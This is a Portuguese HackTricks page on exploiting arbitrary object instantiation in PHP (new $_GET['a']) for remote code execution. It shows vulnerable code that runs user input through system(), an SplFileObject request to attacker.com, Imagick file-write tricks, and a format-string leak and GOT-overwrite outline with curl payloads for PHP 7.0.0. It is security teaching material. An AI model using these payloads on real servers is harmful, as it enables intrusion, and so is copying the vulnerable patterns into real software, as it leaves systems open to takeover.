PHP - RCE abusando da criação de objetos: new $_GET"a"

Reading time: 6 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Isto é basicamente um resumo de https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Introdução

A criação de novos objetos arbitrários, como new $_GET["a"]($_GET["a"]), pode levar a Remote Code Execution (RCE), como detalhado em um writeup. Este documento destaca várias estratégias para alcançar RCE.

RCE via Classes Personalizadas ou Autoloading

A sintaxe new $a($b) é usada para instanciar um objeto onde $a representa o nome da classe e $b é o primeiro argumento passado para o construtor. Essas variáveis podem vir de entradas do usuário como GET/POST, onde podem ser strings ou arrays, ou de JSON, onde podem aparecer como outros tipos.

Considere o trecho de código abaixo:

php
class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

Neste caso, atribuir $a a App ou App2 e $b a um comando do sistema (por exemplo, uname -a) resulta na execução desse comando.

Funções de autoloading podem ser exploradas se tais classes não estiverem diretamente acessíveis. Essas funções carregam automaticamente classes a partir de arquivos quando necessário e são definidas usando spl_autoload_register ou __autoload:

php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

O comportamento do autoloading varia entre versões do PHP, oferecendo diferentes possibilidades de RCE.

RCE via Classes internas

Na ausência de classes customizadas ou autoloaders, classes internas do PHP podem ser suficientes para RCE. O número dessas classes varia entre 100 a 200, dependendo da versão do PHP e das extensões. Elas podem ser listadas usando get_declared_classes().

Construtores de interesse podem ser identificados através da API de reflexão, como mostrado no exemplo a seguir e no link https://3v4l.org/2JEGF.

RCE via métodos específicos inclui:

SSRF + Phar Deserialization

A classe SplFileObject permite SSRF através do seu construtor, possibilitando conexões para qualquer URL:

php
new SplFileObject('http://attacker.com/');

SSRF pode levar a ataques de desserialização em versões do PHP anteriores à 8.0 usando o protocolo Phar.

Exploiting PDOs

O construtor da classe PDO permite conexões com bancos de dados via DSN strings, potencialmente possibilitando criação de arquivos ou outras interações:

php
new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Versões do PHP até 5.3.22 e 5.4.12 eram suscetíveis a ataques XXE através dos construtores SoapClient e SimpleXMLElement, dependendo da versão do libxml2.

RCE via Extensão Imagick

Na análise das dependências do projeto, foi descoberto que o Imagick poderia ser aproveitado para execução de comandos ao instanciar novos objetos. Isso representa uma oportunidade para explorar vulnerabilidades.

VID parser

Foi identificada a capacidade do parser VID de gravar conteúdo em qualquer caminho especificado no sistema de arquivos. Isso pode levar ao posicionamento de um shell PHP em um diretório acessível via web, alcançando Execução Remota de Código (RCE).

VID Parser + File Upload

Observa-se que o PHP armazena temporariamente arquivos enviados em /tmp/phpXXXXXX. O parser VID no Imagick, utilizando o protocolo msl, pode lidar com curingas em caminhos de arquivo, facilitando a transferência do arquivo temporário para um local escolhido. Esse método oferece uma abordagem adicional para realizar escrita arbitrária de arquivos no sistema de arquivos.

PHP Crash + Brute Force

Um método descrito no original writeup envolve fazer upload de arquivos que provocam um crash do servidor antes da exclusão. Ao brute-forcing o nome do arquivo temporário, torna-se possível que o Imagick execute código PHP arbitrário. No entanto, essa técnica mostrou-se eficaz apenas em uma versão desatualizada do ImageMagick.

Format-string in class-name resolution (PHP 7.0.0 Bug #71105)

Quando a entrada do usuário controla o nome da classe (e.g., new $_GET['model']()), o PHP 7.0.0 introduziu um bug transitório durante o refactor de Throwable em que o engine tratava erroneamente o nome da classe como uma string de formato do printf durante a resolução. Isso habilita primitivas clássicas do estilo printf dentro do PHP: leaks com %p, controle da contagem de escrita com especificadores de largura, e escritas arbitrárias com %n contra ponteiros em processo (por exemplo, entradas GOT em builds ELF).

Minimal repro vulnerable pattern:

php
<?php
$model = $_GET['model'];
$object = new $model();

Esquema de exploração (da referência):

  • Leak endereços via %p no nome da classe para encontrar um alvo gravável:
bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
  • Use parâmetros posicionais e especificadores de largura para definir uma contagem exata de bytes, então %n para escrever esse valor em um endereço acessível na stack, mirando em um slot GOT (ex., free) para sobrescrevê‑lo parcialmente para system.
  • Dispare a função hijacked passando um nome de classe contendo um pipe de shell para alcançar system("id").

Notas:

  • Funciona apenas no PHP 7.0.0 (Bug #71105); corrigido em lançamentos subsequentes. Severidade: crítica se houver instanciação arbitrária de classes.
  • Payloads típicos encadeiam muitos %p para percorrer a stack, então %.<width>d%<pos>$n para efetuar a sobrescrita parcial.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks